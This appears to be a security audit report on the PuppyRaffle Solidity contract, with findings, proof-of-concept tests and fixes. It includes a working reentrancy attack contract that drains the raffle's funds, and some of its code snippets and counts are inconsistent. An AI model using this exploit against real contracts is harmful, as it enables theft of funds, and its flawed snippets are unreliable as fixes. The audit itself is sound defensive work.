



PuppyRaffle Audit Report

Version 1.0

Dec3mber

September 2, 2024

Protocol Audit Report

Dec3mber

September 2, 2024

Prepared by: Dec3mber Lead Auditors: - Dec3mber

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund`, can steal all the money in the `PuppyRaffle` contract
 - * [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict winner and the rarity of puppy
 - * [H-3] Unsafe Type Casting and unsafe math in `PuppyRaffle::selectWinner` can lead to integer overflow
 - * [H-4] Potential Selection of Refunded Player (Address Zero) as Winner will lose fund

- * [H-5] Incorrect Handling of Refunds in `PuppyRaffle::selectWinner` Function Leading to Potential Reverts and Incorrect Prize Calculation
- * [H-6] Empty players array can input in `PuppyRaffle::enterRaffle` function, Leading to Out of Gas Errors
- Medium
 - * [M-1] Use unbounded for-loop to check duplicate in `PuppyRaffle::enterRaffle` can be attacked due to denial of service(DoS), increment gas fee of future entrants
 - * [M-2] Smart contract wallets raffle winner without a `fallback/receive` function, will cause the transfer prize fail, and block the raffle continue
- Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for a non-existent players and for the player at index 0, causing index 0 player incorrect thinks he has not entered the raffle
- Gas
 - * [G-1] Unchanged variables should be declared to constant or immutable
 - * [G-2] Storage variables in loop should be cached in `PuppyRaffle::enterRaffle`
 - * [G-3] Inefficient Use of `PuppyRaffle::_baseURI` Function Instead of a Constant Variable
- Informational/Non-Crits
 - * [I-1] Solidity pragma should be specific, not wide
 - * [I-2] Using an outdated version of solidity is not recommended
 - * [I-3] Missing checks for `address(0)` when assigning values to address state variables
 - * [I-4] `PuppyRaffle::selectWinner` should follow CEI pattern
 - * [I-5] Using magic numbers in `PuppyRaffle::selectWinner`, which is confusing.
 - * [I-6] State changes without emitting an event
 - * [I-7] `public` functions not used internally could be marked `external`
 - * [I-8] `PuppyRaffle::_isActivePlayer` function is an internal function but won't be called in the contract

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Dec3mber team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
1 ./src/  
2 -- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

We spend 2 days using manual review, and successfully identified three vulnerabilities that pose potential risks to the security and functionality of the system.

Each of these vulnerabilities has been categorized based on its severity and potential impact on the overall security of the smart contract. Our detailed analysis and recommended mitigation strategies are provided in the following sections of this report. Addressing these issues promptly will be crucial to ensuring the safety and reliability of the smart contract.

Issues found

Severity	Numbers of issues found
High	6
Medium	2
Low	1
Informational	8
gas	3
total	20

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund`, can steal all the money in the `PuppyRaffle` contract

Description: The `PuppyRaffle::refund` function is vulnerable to a reentrancy attack. The function transfers Ether to the caller before updating the state of the `players` array. This allows an attacker to repeatedly call the refund function within the same transaction (by exploiting the reentrancy vulnerability), potentially draining all the funds in the contract.

```
1     function refund(uint256 playerId) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6         payable(msg.sender).sendValue(entranceFee);
7         players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

Impact: An attacker can exploit this vulnerability to steal all the funds in the `PuppyRaffle` contract. By repeatedly calling the `refund` function before the state is updated, the attacker can continue to receive refunds even after their player entry should have been marked as refunded. This could lead to a complete loss of all the Ether held by the contract.

Proof of Concept:

1. User enter the `PuppyRaffle`;
2. Attacker set up a contract with the `fallback` function that calls `PuppyRaffle::refund`;
3. Attacker enter the `PuppyRaffle`;
4. Attacker call the `PuppyRaffle::refund` function through their attack contract, drain the contract balance.

PoC

Place the following code into `PuppyRaffleTest.t.sol`

```
1     function testReentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
```

```
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
10         address(puppyRaffle));
11     address attacker = makeAddr("attacker");
12     vm.deal(attacker, entranceFee);
13
14     uint256 startingRaffleBalance = address(puppyRaffle).balance;
15     uint256 startingAttackContractBalance = address(
16         reentrancyAttack).balance;
17
18     vm.prank(attacker);
19     reentrancyAttack.attack{value: entranceFee}();
20
21     uint256 endingRaffleBalance = address(puppyRaffle).balance;
22     uint256 endingAttackContractBalance = address(reentrancyAttack)
23         .balance;
24
25     console.log("Starting raffle contract balance is: ",
26         startingRaffleBalance);
27     console.log("Ending raffle contract balance is: ",
28         endingRaffleBalance);
29
30     console.log("Starting attack contract balance is: ",
31         startingAttackContractBalance);
32     console.log("Ending attack contract balance is: ",
33         endingAttackContractBalance);
34 }
```

And this contract as well

```
1 contract ReentrancyAttack {
2     PuppyRaffle puppyRaffle;
3     uint256 entrantFee;
4     uint256 attackerIndex;
5
6     constructor(address _puppyRaffle) {
7         puppyRaffle = PuppyRaffle(_puppyRaffle);
8         entrantFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory attacker = new address[](1);
13         attacker[0] = address(this);
14         puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(
15             attacker);
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20 }
```

```
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entrantFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the players array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7
8         + players[playerIndex] = address(0);
9         + emit RaffleRefunded(playerAddress);
10        payable(msg.sender).sendValue(entranceFee);
11        - players[playerIndex] = address(0);
12        - emit RaffleRefunded(playerAddress);
13    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict winner and the rarity of puppy

Description: The current implementation of both the winner selection and rarity determination in `PuppyRaffle::selectWinner` uses `block.timestamp`, `block.difficulty`, and `msg.sender` as inputs to the `keccak256` hash function to generate pseudo-random numbers. Specifically, these values are used to:

- Select a winner from the players array.
- Determine the rarity of the puppy.

However, these inputs are predictable or can be manipulated, making the randomness weak and susceptible to exploitation:

- `block.timestamp`: Can be influenced by miners within a reasonable range.
- `block.difficulty`: While it adds some variability, it's not entirely unpredictable, especially in the short term.
- `msg.sender`: The address of the user who initiates the transaction is fully under their control, allowing them to manipulate the random outcome by repeatedly calling the function.

As a result, a malicious user could potentially predict the outcome of the randomness or manipulate the conditions to increase their chances of winning the raffle and obtaining a rarer puppy.

Impact: The predictability and manipulability of the randomness could result in an unfair selection process, where a malicious actor has a higher chance of winning and obtaining a rarer puppy. This compromises the integrity of the raffle and could lead to loss of trust in the system, financial losses, or reputational damage.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on `prevrandao`. `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain.

Recommended Mitigation: Consider using a cryptographically provable random number generator such like `chainlink VRF`.

[H-3] Unsafe Type Casting and unsafe math in `PuppyRaffle::selectWinner` can lead to integer overflow

Description: The `fee` variable, originally declared as a `uint256`, is cast to `uint64` using `uint64(fee)`. This type casting can lead to an overflow if `fee` is greater than or equal to 2^{64} . Specifically, if the value of `fee` exceeds the maximum value that a `uint64` can hold (which is $2^{64} - 1$), the cast will result in the value being wrapped around to a smaller, incorrect value, potentially causing unexpected behavior.

Additionally, the statement `totalFees = totalFees + uint64(fee);` can lead to an overflow of the `totalFees` variable. If the sum of `totalFees` and `uint64(fee)` exceeds the maximum

value that a uint64 can represent, it will cause the totalFees to overflow, leading to incorrect total fee calculations.

Impact: The potential overflow will cause the totalFees to reflect an incorrect and much smaller value and error in the protocol. totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. four players entered raffle, and the totalFees are 800000000000000000
2. then 89 players enter, the totalFees are 153255926290448384
3. you will not be able to withdraw, due to PuppyRaffle::withdrawFees:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Place the following code into PuppyRaffleTese.t.sol

PoC

```
1 function testOverflowInSelectWinner() public playersEntered {
2     vm.roll(block.number + 1);
3     vm.warp(block.timestamp + duration + 1);
4     puppyRaffle.selectWinner();
5     uint64 startingTotalFees = puppyRaffle.totalFees();
6     console.log("Start total fees:", startingTotalFees);
7
8     address[] memory players = new address[](89);
9     for (uint256 i = 0; i < players.length; i++) {
10         players[i] = address(i);
11     }
12     puppyRaffle.enterRaffle{value: entranceFee * 89}(players);
13     vm.roll(block.number + 1);
14     vm.warp(block.timestamp + duration + 1);
15     puppyRaffle.selectWinner();
16     uint64 endingTotalFees = puppyRaffle.totalFees();
17     console.log("End total fees: ", endingTotalFees);
18     assert(startingTotalFees > endingTotalFees);
19 }
```

Recommended Mitigation: There are some possible mitigations.

1. Use the latest version of solidity, and use uint256 instead of uint64 for PuppyRaffle::fee
2. Use the safeMath library of openzeppelin, but it's also hard for dealing with uint64 type.
3. Remove the check in PuppyRaffle::withdrawFees:

```
1     function withdrawFees() external {
2 -       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3       uint256 feesToWithdraw = totalFees;
4       totalFees = 0;
5       (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6       require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

[H-4] Potential Selection of Refunded Player (Address Zero) as Winner will lose fund

Description: In the `PuppyRaffle::refund` function, when a player requests a refund, their address in the `players` array is replaced with `address(0)`. This is intended to mark the player as inactive. However, in the `PuppyRaffle::selectWinner` function, there is no check to ensure that the selected winner is not an address that has been refunded (i.e., `address(0)`).

Impact: If the `PuppyRaffle::selectWinner` function selects `address(0)` as the winner, it will cause several critical issues:

1. Invalid Winner: The raffle will select an invalid winner (`address(0)`), leading to failed attempts to mint the NFT and revert .
2. Lose Funds: The prize pool funds will lost due to transfer prize to `address(0)` .

Proof of Concept: Consider the blow Scenario

1. 10 players enter the raffle
2. The 5th player `PuppyRaffle::players[4]` want to exit the raffle, and called the `PuppyRaffle::refund`
3. `PuppyRaffle::players[4]` is replaced with `address(0)`
4. In the select winner state, `PuppyRaffle::selectWinner` turns out to 5th player is the winner
5. Raffle transfer the prize and mint nft to `address(0)` , lost funds.

Recommended Mitigation:

1. Track Active Players Separately: Maintain a separate list of active players, ensuring that refunded players are removed entirely, so the `selectWinner` function only considers eligible participants.
2. Add a check if the winner is `address(0)`, and select the winner again.

[H-5] Incorrect Handling of Refunds in `PuppyRaffle::selectWinner` Function Leading to Potential Reverts and Incorrect Prize Calculation

Description: The `PuppyRaffle::selectWinner` function does not properly account for players who have requested a refund. When a player requests a refund, their address in the `players` array is replaced with `address(0)`, effectively marking them as inactive. However, the `PuppyRaffle::selectWinner` function still relies on `players.length` to validate the number of participants and to calculate the total prize pool. This approach is flawed for several reasons:

1. **Incorrect Player Count Validation:** The require `players.length >= 4, "PuppyRaffle: Need at least 4 players"`; statement checks the length of the `players` array rather than the number of active players. If one or more players have been refunded, this condition may be incorrectly satisfied, leading to unexpected behavior.
2. **Inaccurate Prize Pool Calculation:** The calculation of `totalAmountCollected` as `players.length * entranceFee` does not account for refunded players. This results in an overestimation of the prize pool and the fees, which could cause discrepancies in the contract's financial logic.

```
1      require(players.length >= 4, "PuppyRaffle: Need at least 4
2          players");
3      uint256 totalAmountCollected = players.length * entranceFee;
4      uint256 prizePool = (totalAmountCollected * 80) / 100;
5      uint256 fee = (totalAmountCollected * 20) / 100;
6      totalFees = totalFees + uint64(fee);
```

Impact: 1. **Unnecessary Reverts:** If the actual number of active players is less than 4 due to refunds, the `PuppyRaffle::selectWinner` function will revert when it attempts to distribute the prize, as the require `players.length >= 4` check will fail. This can lead to users wasting gas on repeated attempts to execute the function, each time resulting in a revert. 2. **Incorrect Fund Distribution:** The overestimation of `totalAmountCollected` due to counting refunded players will lead to incorrect calculation of the `prizePool` and `fee`. This can cause further issues, such as incorrect amounts being sent to the winner or the fee address, and potential reverts in functions like `PuppyRaffle::withdrawFees` due to mismatches in expected versus actual contract balances.

Proof of Concept: Place the following code into `PuppyRaffleTest.t.sol`

PoC

```
1      function testSelectWinnerFunctionRevertafterExit() public
2          playersEntered {
3          vm.warp(block.timestamp + duration);
4          vm.roll(block.number + 1);
```

```
5         vm.prank(playerFour);
6         puppyRaffle.refund(3);
7         vm.deal(address(puppyRaffle), 10 ether);
8
9         vm.expectRevert();
10        puppyRaffle.selectWinner();
11    }
```

Recommended Mitigation: There are several mitigations.

1. Replace the deleted player with the last player and pop up the last element

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
4          can refund");
5      require(playerAddress != address(0), "PuppyRaffle: Player already
6          refunded, or is not active");
7
8      payable(msg.sender).sendValue(entranceFee);
9
10     - players[playerIndex] = address(0);
11     + if (playerIndex < players.length - 1) {
12     +     players[playerIndex] = players[players.length - 1];
13     + }
14     + players.pop();
15
16     emit RaffleRefunded(playerAddress);
17 }
```

2. Track active players separately: Maintain a separate count of active players who have not requested refunds. Use this count to validate the minimum player requirement and to calculate the prize pool.

[H-6] Empty players array can input in PuppyRaffle::enterRaffle function, Leading to Out of Gas Errors

Description: The `PuppyRaffle::enterRaffle` function does not properly handle cases where an empty array is passed as the `newPlayers` argument. Specifically, when an empty array is provided, the function attempts to process it in loops that are not designed to handle such a case. This results in excessive gas consumption and can trigger an `OutOfGas` error. The root cause is the lack of a check for an empty array before entering the loop, leading to inefficient execution and potential infinite loop scenarios.

Impact:

1. **OutOfGas Errors:** The function can consume an excessive amount of gas, leading to **OutOfGas** errors when an empty array is passed. This not only wastes gas but also causes the transaction to revert, preventing any further execution.
2. **Denial of Service (DoS) Potential:** Repeated attempts to call the **PuppyRaffle::enterRaffle** function with an empty array could be used as a form of denial of service (DoS) attack, as the contract could become unusable due to continuous **OutOfGas** errors.

Proof of Concept:

Place the following code into **PuppyRaffleTest.t.sol**

PoC

```
1 function testEmptyPlayersArrayCanEnterRaffle() public {
2     address[] memory players = new address[] (0);
3     puppyRaffle.enterRaffle{value: 0}(players);
4 }
```

And it truns out:

```
1 [FAIL. Reason: EvmError: Revert] testEmptyPlayersArrayCanEnterRaffle()
   (gas: 1056943995)
2 Traces:
3 [3294514] PuppyRaffleTest::setUp()
4   - [3229550] - new
      PuppyRaffle@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
5   - - emit OwnershipTransferred(previousOwner: 0
      x0000000000000000000000000000000000000000000000000000000000000000, newOwner:
      PuppyRaffleTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
6   - - - [Return] 12662 bytes of code
7   -- - [Stop]
8
9 [1056943995] PuppyRaffleTest::testEmptyPlayersArrayCanEnterRaffle()
10  - [1056938633] PuppyRaffle::enterRaffle([])
11  - - - [OutOfGas] EvmError: OutOfGas
12  - - [Revert] EvmError: Revert
```

When running the above test, the **PuppyRaffle::enterRaffle** function will consume excessive gas and eventually trigger an **OutOfGas** error due to the empty array passed to it. This indicates that the function does not correctly handle the case where no players are provided.

Recommended Mitigation: There are some mitigations.

1. **Add a Check for Non-Empty Arrays:** Ensure that the **PuppyRaffle::enterRaffle** function includes a **require** statement at the beginning to verify that the **newPlayers** array is not empty. This will prevent the function from processing an empty array, avoiding unnecessary gas consumption and potential infinite loops.

```
1     function enterRaffle(address[] memory newPlayers) public payable {
2 +     require(newPlayers.length > 0, "PuppyRaffle: No players
   provided");
3         require(msg.value == entranceFee * newPlayers.length, "
   PuppyRaffle: Must send enough to enter raffle");
4
5         for (uint256 i = 0; i < newPlayers.length; i++) {
6             players.push(newPlayers[i]);
7         }
8
9         // Check for duplicates
10        for (uint256 i = 0; i < players.length - 1; i++) {
11            for (uint256 j = i + 1; j < players.length; j++) {
12                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
13            }
14        }
15
16        emit RaffleEnter(newPlayers);
17    }
```

2. Optimize Loops and Conditions: Review the loop structures and conditions within the `PuppyRaffle::enterRaffle` function to ensure they efficiently handle edge cases, such as an empty array, without unnecessary gas consumption.

Medium

[M-1] Use unbounded for-loop to check duplicate in `PuppyRaffle::enterRaffle` can be attacked due to denial of service(DoS), increment gas fee of future entrants

Description: The `PuppyRaffle::enterRaffle` uses an unbounded for-loop to check for duplicate entries among the players participating in the raffle. The loop iterates through the list of players to ensure that no duplicates are present, which can lead to significant computational overhead, especially as the number of players increases. Since the gas cost of each transaction in Ethereum depends on the computational resources required, this unbounded loop can lead to an increase in gas fees for future participants.

```
1 //@audit DoS attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
5         }
6     }
```

Impact: The use of an unbounded for-loop for duplicate checking in the `PuppyRaffle::enterRaffle` exposes the contract to a potential Denial of Service (DoS) attack. As the number of players increases, the gas cost associated with each new entry will also rise, potentially reaching a point where the transaction reverts due to out-of-gas errors. This vulnerability could be exploited by attackers to disrupt the raffle, increase participation costs for legitimate users, and potentially block new participants from entering the raffle altogether.

Proof of Concept:

If we have two set of player enter the raffle, the gas costs will be as such: - First 100 players' gas fee is: 6252039 - Second 100 players' gas fee is: 18068122

This is 3x more expensive for the second set players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
1  function testDoSExsitInEnterRaffle() public {
2      vm.txGasPrice(1);
3      uint256 playerNum = 100;
4      address[] memory playersFirst = new address[](playerNum);
5      for (uint160 i = 0; i < playerNum; i++) {
6          playersFirst[i] = address(i);
7      }
8      uint256 startingGasFirst = gasleft();
9      puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
10         playersFirst);
11     uint256 endingGasFirst = gasleft();
12     uint256 gasFeeFirst = (startingGasFirst - endingGasFirst) * tx.
13         gasprice;
14
15     address[] memory playersSecond = new address[](playerNum);
16     for (uint160 i = 0; i < playerNum; i++) {
17         playersSecond[i] = address(i + playerNum);
18     }
19     uint256 startingGasSecond = gasleft();
20     puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
21         playersSecond);
22     uint256 endingGasSecond = gasleft();
23     uint256 gasFeeSecond = (startingGasSecond - endingGasSecond) *
24         tx.gasprice;
25
26     console.log("First 100 players' gas fee is: ", gasFeeFirst);
27     console.log("Second 100 players' gas fee is: ", gasFeeSecond);
28     assert(gasFeeFirst < gasFeeSecond);
29 }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle id.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 .
4 .
5 .
6 function enterRaffle(address[] memory newPlayers) public payable {
7     require(msg.value == entranceFee * newPlayers.length, "
8         PuppyRaffle: Must send enough to enter raffle");
9
10    for (uint256 i = 0; i < newPlayers.length; i++) {
11 +        // Check for duplicates
12 +        require(usersToRaffleId[newPlayers[i]] != raffleId, "
13 +        PuppyRaffle: Already a participant");
14
15        players.push(newPlayers[i]);
16        usersToRaffleId[newPlayers[i]] = raffleId;
17    }
18
19    // Check for duplicates
20    for (uint256 i = 0; i < players.length - 1; i++) {
21    for (uint256 j = i + 1; j < players.length; j++) {
22        require(players[i] != players[j], "PuppyRaffle:
23        Duplicate player");
24    }
25    }
26
27    emit RaffleEnter(newPlayers);
28
29    function selectWinner() external {
30 +        raffleId = raffleId + 1;
31        require(block.timestamp >= raffleStartTime + raffleDuration, "
32            PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contract wallets raffle winner without a fallback/receive function, will cause the transfer prize fail, and block the raffle continue

Description: The prize is transferred to the winner using a low-level `.call` method in `PuppyRaffle::selectWinner`. If the winner is a smart contract that does not implement a `fallback` or `receive` function, the transfer will fail. This is because the `.call` method requires the recipient contract to have a function capable of receiving Ether. If the recipient contract lacks such a function or if its fallback function is incorrectly implemented, the transaction will revert, the raffle can't reset and the prize will not be successfully transferred.

Impact: This would result in the winner not receiving their prize, potentially leading to disputes, loss of trust in the raffle system, and a negative impact on user experience. Additionally, the funds may remain locked in the contract, and block the raffle continue.

Proof of Concept:

1. 10 smart contract wallets entered the raffle
2. raffle select the winner, but the winner wallet does not have a `fallback/receive` function
3. the `PuppyRaffle::selectWinner` function does not work, and the raffle does not work neither

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> prize so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Low**[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for a non-existent players and for the player at index 0, causing index 0 player incorrect thinks he has not entered the raffle**

Description: The `getActivePlayerIndex` function returns 0 both when the player is at index 0 in the players array and when the player does not exist in the array. This can cause confusion, as a player who is actually at index 0 will receive a result of 0, making them mistakenly believe they are not entered in the raffle.

```
1     function getActivePlayerIndex(address player) external view returns
      (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
```

```
5         }
6     }
7     return 0;
8 }
```

Impact: This issue can lead to confusion and potentially flawed logic in other parts of the contract or in external systems interacting with the contract. A player who is correctly entered at index 0 may incorrectly assume they are not participating in the raffle. This can undermine the trust in the contract's functionality and lead to incorrect actions or decisions based on the false assumption that the player is not part of the raffle.

Proof of Concept: 1. A user enter the raffle, and is the first player 2. The player calls `PuppyRaffle::getActivePlayerIndex`. 3. The player may incorrectly conclude they are not part of the raffle.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged variables should be declared to constant or immutable

Reading from storage is more expensive than from a constant or immutable variable.

instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in loop should be cached in `PuppyRaffle::enterRaffle`

Every time you call `players.length`, you read from storage, as opposed to memory which is more gas efficient.

```
1 +     uint256 playerLength = players.length;
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playerLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playerLength; j++) {
6             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7         }
8     }
```

[G-3] Inefficient Use of `PuppyRaffle::_baseURI` Function Instead of a Constant Variable

Description: The `PuppyRaffle::_baseURI` function returns a static string value every time it is called. This function is currently implemented as a pure function, which returns the string "data:application/json;base64,". While this approach works, it is less gas-efficient compared to using a constant variable to store the base URI.

Recommended Mitigation: Instead of using:

```
1     function _baseURI() internal pure returns (string memory) {  
2         return "data:application/json;base64,";  
3     }
```

Use:

```
1     string private constant BASE_URI = "data:application/json;  
    base64,";
```

Informational/Non-Crits**[I-1] Solidity pragma should be specific, not wide**

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using a outdated version of solidity is not recommended

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 62

```
1      feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 176

```
1      feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI pattern

The current implementation of `PuppyRaffle::selectWinner` does not follow the Checks-Effects-Interactions (CEI) pattern, which is a recommended best practice in Solidity to prevent reentrancy attacks.

```
1 -      (bool success,) = winner.call{value: prizePool}("");
2 -      require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3      _safeMint(winner, tokenId);
4 +      (bool success,) = winner.call{value: prizePool}("");
5 +      require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5] Using magic numbers in `PuppyRaffle::selectWinner`, which is confusing.

It's more readable if give a name, such as:

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100;
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

instead, you can use:

```
1      uint256 constant public POOL_PRECISION = 100;
2      uint256 constant public PRIZE_PERCENTAGE = 80;
3      uint256 constant public FEE_PERCENTAGE = 20;
```

[I-6] State changes without emitting a event

In the `PuppyRaffle` contract, certain state-changing operations are performed without emitting corresponding events.

Add a `WinnerSelected(index winner, tokenId)` event, and emit the event after `_safeMint` in `PuppyRaffle::selectWinner`.

Add a `FeesWithdrawed(index feeAddress, feesToWithdraw)` event, and emit the event at the end of `PuppyRaffle::withdrawFees` function.

[I-7] public functions not used internally could be marked external

Instead of marking a function as **public**, consider marking it as `external` if it is not used internally.

3 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 81

```
1    function enterRaffle(address[] memory newPlayers) public payable {
```

- Found in `src/PuppyRaffle.sol` Line: 101

```
1    function refund(uint256 playerIndex) public {
```

- Found in `src/PuppyRaffle.sol` Line: 201

```
1    function tokenURI(uint256 tokenId) public view virtual  
    override returns (string memory) {
```

[I-8] `PuppyRaffle::_isActivePlayer` function is a internal function but won't be called in the contract

`PuppyRaffle::_isActivePlayer` should be removed or change visible to external.